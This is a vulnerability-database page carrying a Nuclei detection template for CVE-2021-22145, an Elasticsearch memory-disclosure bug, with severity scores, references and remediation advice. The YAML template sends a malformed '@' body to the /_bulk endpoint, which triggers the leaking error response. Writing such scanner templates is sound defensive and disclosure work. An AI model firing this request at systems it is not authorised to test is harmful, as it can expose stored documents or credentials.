Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-22145
HistorySep 02, 2021 - 4:37 p.m.

Elasticsearch 7.10.0-7.13.3 - Information Disclosure

2021-09-0216:37:29
ProjectDiscovery
github.com
17

4 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:S/C:P/I:N/A:N

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

6.3 Medium

AI Score

Confidence

High

0.962 High

EPSS

Percentile

99.5%

ElasticSsarch 7.10.0 to 7.13.3 is susceptible to information disclosure. A user with the ability to submit arbitrary queries can submit a malformed query that results in an error message containing previously used portions of a data buffer. This buffer can contain sensitive information such as Elasticsearch documents or authentication details, thus potentially leading to data modification and/or execution of unauthorized operations.

id: CVE-2021-22145

info:
  name: Elasticsearch 7.10.0-7.13.3 - Information Disclosure
  author: dhiyaneshDk
  severity: medium
  description: ElasticSsarch 7.10.0 to 7.13.3 is susceptible to information disclosure. A user with the ability to submit arbitrary queries can submit a malformed query that results in an error message containing previously used portions of a data buffer. This buffer can contain sensitive information such as Elasticsearch documents or authentication details, thus potentially leading to data modification and/or execution of unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information.
  remediation: |
    Upgrade Elasticsearch to a version that is not affected by CVE-2021-22145.
  reference:
    - https://github.com/jaeles-project/jaeles-signatures/blob/e9595197c80521d64e31b846808095dd07c407e9/cves/elasctic-memory-leak-cve-2021-22145.yaml
    - https://packetstormsecurity.com/files/163648/ElasticSearch-7.13.3-Memory-Disclosure.html
    - https://discuss.elastic.co/t/elasticsearch-7-13-4-security-update/279177
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22145
    - https://security.netapp.com/advisory/ntap-20210827-0006/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-22145
    cwe-id: CWE-209
    epss-score: 0.96444
    epss-percentile: 0.99578
    cpe: cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: elastic
    product: elasticsearch
    fofa-query: index_not_found_exception
  tags: cve2021,cve,elasticsearch,packetstorm,elastic

http:
  - method: POST
    path:
      - '{{BaseURL}}/_bulk'

    body: |
      @

    headers:
      Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'root_cause'
          - 'truncated'
          - 'reason'
        condition: and

      - type: status
        status:
          - 400
# digest: 490a0046304402200ae0e81a1c19ce52ceb50640f4c1ab86ac60b6379dbbe6f47792a4572e351d0c02203f716a5a8e0d7c6faa8e9672792f913b374029ef53dff1690395b0a63e688dcc:922c64590222798bb761d5b6d8e72950

4 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:S/C:P/I:N/A:N

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

6.3 Medium

AI Score

Confidence

High

0.962 High

EPSS

Percentile

99.5%